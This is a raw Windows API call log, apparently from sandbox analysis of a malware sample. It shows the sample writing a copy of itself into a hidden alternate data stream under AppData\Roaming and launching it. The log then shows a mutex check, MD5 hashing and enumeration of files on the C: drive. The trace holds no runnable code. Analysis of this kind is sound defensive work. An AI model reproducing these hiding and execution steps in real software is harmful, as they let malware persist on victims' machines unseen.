GetFileSize (in: hFile=0x170, lpFileSizeHigh=0x1a7f87c | out: lpFileSizeHigh=0x1a7f87c*=0x0) returned 0x44000 [0138.724] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7f888*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7f888*=0) returned 0x0 [0138.724] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x44000) returned 0x989690 [0138.729] ReadFile (in: hFile=0x170, lpBuffer=0x989690, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x1a7f8bc, lpOverlapped=0x0 | out: lpBuffer=0x989690*, lpNumberOfBytesRead=0x1a7f8bc*=0x44000, lpOverlapped=0x0) returned 1 [0138.732] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x44000) returned 0x9cd698 [0138.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x44000) returned 0x989690 [0138.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9885a8) returned 1 [0138.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9cd698) returned 1 [0138.736] NtClose (Handle=0x170) returned 0x0 [0138.737] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f588) returned 1 [0138.737] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9841e8) returned 1 [0138.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f588 [0138.737] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs:bin"), fInfoLevelId=0x0, lpFileInformation=0x1a7f84c | out: lpFileInformation=0x1a7f84c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xc28ae7, ftCreationTime.dwHighDateTime=0xa90000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x1a7fba8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x1a7f8e4)) returned 0 [0138.737] GetLastError () returned 0x2 [0138.737] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x170 [0138.737] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x1a7f890, lpLastWriteTime=0x1a7f890) returned 1 [0138.737] WriteFile (in: hFile=0x170, lpBuffer=0x989690*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x1a7f8bc, lpOverlapped=0x0 | out: lpBuffer=0x989690*, lpNumberOfBytesWritten=0x1a7f8bc*=0x44000, lpOverlapped=0x0) returned 1 [0138.746] NtClose (Handle=0x170) returned 0x0 [0138.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f588) returned 1 [0138.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983850) returned 1 [0138.750] CreateProcessAsUserW (in: hToken=0x15c, lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x1a7fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1a7fbc0 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin", lpProcessInformation=0x1a7fbc0*(hProcess=0x18c, hThread=0x170, dwProcessId=0x688, dwThreadId=0x68c)) returned 1 [0138.767] NtClose (Handle=0x170) returned 0x0 [0138.767] NtClose (Handle=0x15c) returned 0x0 [0138.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f148) returned 1 [0138.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988248) returned 1 [0138.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988170) returned 1 [0138.767] Wow64DisableWow64FsRedirection (in: OldValue=0x1a7fc70 | out: OldValue=0x1a7fc70*=0x1) returned 1 [0138.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f148 [0138.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f588 [0138.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f500 [0138.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f478 [0138.768] GetLogicalDrives () returned 0x4 [0138.768] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0138.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988170 [0138.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0138.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0138.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988248 [0138.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x988248, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0138.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9885a8 [0138.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988248) returned 1 [0138.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0138.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988248 [0138.768] CryptAcquireContextW (in: phProv=0x1a7fbec, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7fbec*=0x838fe0) returned 1 [0138.769] CryptCreateHash (in: hProv=0x838fe0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1a7fbec | out: phHash=0x1a7fbec) returned 1 [0138.769] CryptHashData (hHash=0x81fcd8, pbData=0x9885a8, dwDataLen=0xa, dwFlags=0x0) returned 1 [0138.769] CryptGetHashParam (in: hHash=0x81fcd8, dwParam=0x4, pbData=0x1a7fbf0, pdwDataLen=0x1a7fbfc, dwFlags=0x0 | out: pbData=0x1a7fbf0, pdwDataLen=0x1a7fbfc) returned 1 [0138.769] CryptGetHashParam (in: hHash=0x81fcd8, dwParam=0x2, pbData=0x988248, pdwDataLen=0x1a7fbf0, dwFlags=0x0 | out: pbData=0x988248, pdwDataLen=0x1a7fbf0) returned 1 [0138.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988560 [0138.769] CryptDestroyHash (hHash=0x81fcd8) returned 1 [0138.769] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988248) returned 1 [0138.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988248 [0138.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988518 [0138.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988248) returned 1 [0138.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988248 [0138.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988248) returned 1 [0138.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988518) returned 1 [0138.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988560) returned 1 [0138.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988560 [0138.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988518 [0138.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988518) returned 1 [0138.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988518 [0138.769] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{Global\\{-D2A8-E443--570-7-F5B2-D923-}") returned 0x0 [0138.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988518) returned 1 [0138.769] GetLastError () returned 0x3 [0138.770] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xffffffff) returned 0xffffffff [0138.770] GetLastError () returned 0x6 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f2e0 [0138.770] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f9bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f9bc) returned 0x81fcd8 [0138.770] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x800000, dwReserved1=0x800150, cFileName="Boot", cAlternateFileName="")) returned 1 [0138.770] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x800000, dwReserved1=0x800150, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0xa9bc08 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f1d0 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988518 [0138.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.770] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x800000, dwReserved1=0x800150, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0xa9ff98 [0138.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f0c0 [0138.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x800000, dwReserved1=0x800150, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x6645aea0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0xa9ffb8 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f038 [0138.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x65e677a0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0xa9dd90 [0138.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9efb0 [0138.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Program Files", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Program Files (x86)", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="ProgramData", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Recovery", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x35b64150, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x35b64150, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="System Volume Information", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Users", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Windows", cAlternateFileName="")) returned 1 [0138.771] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Windows", cAlternateFileName="")) returned 0 [0138.771] GetLastError () returned 0x12 [0138.772] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f9bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f9bc) returned 0x838fe0 [0138.772] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.772] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), fInfoLevelId=0x0, lpFileInformation=0x1a7f8b8 | out: lpFileInformation=0x1a7f8b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.772] CreateFileW (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.772] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f8fc, lpLastWriteTime=0x1a7f8fc) returned 0 [0138.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x184) returned 0x983850 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988248 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9884d0 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988488 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988440 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9883f8 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9883b0 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9882d8 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988290 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9889e0 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988a28 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988a70 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988ab8 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988b00 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988b48 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988b90 [0138.773] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f954, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f954, lpOverlapped=0x0) returned 0 [0138.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.773] NtClose (Handle=0x15c) returned 0x0 [0138.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0138.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0138.773] 